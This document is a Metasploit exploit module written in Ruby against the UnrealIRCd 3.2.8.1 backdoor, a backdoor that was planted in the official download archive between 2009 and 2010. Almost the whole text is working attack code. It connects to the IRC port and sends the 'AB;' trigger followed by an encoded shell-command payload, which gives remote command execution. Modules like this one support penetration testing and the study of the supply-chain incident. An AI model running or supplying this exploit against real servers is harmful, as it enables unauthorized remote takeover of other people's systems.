UnrealIRCD 3.2.8.1 Backdoor Command Execution

`##  
# $Id: unreal_ircd_3281_backdoor.rb 9510 2010-06-13 12:41:48Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',  
'Description' => %q{  
This module uses exploits a malicious backdoor that was added to the  
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the  
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9510 $',  
'References' =>  
[  
[ 'OSVDB', '65445'],  
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt'],  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(6667)  
], self.class)  
end  
  
def exploit  
connect  
  
print_status("Connected to #{rhost}:#{rport}...")  
banner = sock.get_once(-1, 30)  
banner.to_s.split("\n").each do |line|  
print_line(" #{line}")  
end  
  
print_status("Sending backdoor command...")  
sock.put("AB;" + payload.encoded + "\n")  
  
handler  
disconnect  
end  
end  
  
`